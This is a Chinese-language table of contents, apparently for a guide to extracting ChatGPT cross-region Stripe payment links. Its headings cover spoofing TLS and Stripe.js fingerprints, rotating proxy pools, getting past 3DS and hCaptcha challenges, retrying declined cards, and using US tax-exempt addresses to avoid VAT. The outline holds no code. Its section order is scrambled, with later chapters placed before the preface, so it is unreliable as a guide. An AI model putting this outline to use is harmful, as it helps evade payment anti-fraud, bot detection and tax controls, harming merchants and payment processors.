Attribution 元数据（两层结构）

请求头

3.2 确认 Checkout

3.3 Elements Session — 获取支付配置

3.4 税务地址优化 — US 免税地址消除 VAT

3.5 PaymentIntent 确认 — Stripe 侧扣款

PI 拒卡重试

3.6 Cookie 隔离架构

四、Hosted 模式协议流程详解

4.1 Payment Page 初始化

4.2 Elements Session（Hosted 模式特殊字段）

4.3 Hosted 模式的 Confirm 请求

4.4 Approve 机制与 Sentinel Token

Sentinel Token 结构

Sentinel Token 生成流程

Approve 的正确时机

五、3DS 验证挑战

5.1 Challenge 类型

5.2 verify_challenge 完整请求格式

5.3 hCaptcha Enterprise 的特殊性

5.4 时效性问题

5.5 3DS vs hCaptcha 的区别

六、TLS 指纹对抗

6.1 指纹伪装

6.2 指纹轮换策略

6.3 TLS 指纹与 User-Agent 一致性

6.4 HTTP 协议版本

七、Stripe.js 指纹参数

7.1 m.stripe.com/6 — 指纹注册

7.2 r.stripe.com/b — 遥测上报

7.3 动态提取 Stripe.js 版本

7.4 js_checksum 和 rv_timestamp

八、代理池架构

8.1 双代理池

8.2 代理健康检查

8.3 出口 IP 一致性

8.4 代理类型选择

8.5 代理故障降级

九、状态机设计

9.1 Decline 错误分类

9.2 Fast-Path 优化

9.3 Hosted 模式轮询

十、安全边界与最佳实践

10.1 Session 隔离

10.2 Dry-Run 模式

10.3 不要存储敏感数据

10.4 请求节奏模拟

10.5 并发控制

十一、实现对比

下载

推荐：虚拟卡平台

提链 — ChatGPT 跨区支付链接提取的完整技术拆解

联系逍遥

前言

一、为什么需要提链——信用卡的困境

二、提链的技术原理——四步拆解

Step 1：获取 Access Token

Step 2：创建 Checkout Session

Step 3：Stripe 协议流程

Step 4：提取支付链接

三、Stripe Checkout Session 的内部结构

2.1 Custom 模式 (`oaics_` 前缀)

2.2 Hosted 模式 (`cs_live_` 前缀)

2.3 决定性参数：`checkout_ui_mode`

2.4 `_stripe_version` 的版本差异

坑 2：`expected_amount`

坑 4：`Accept-Language` 和 `guid`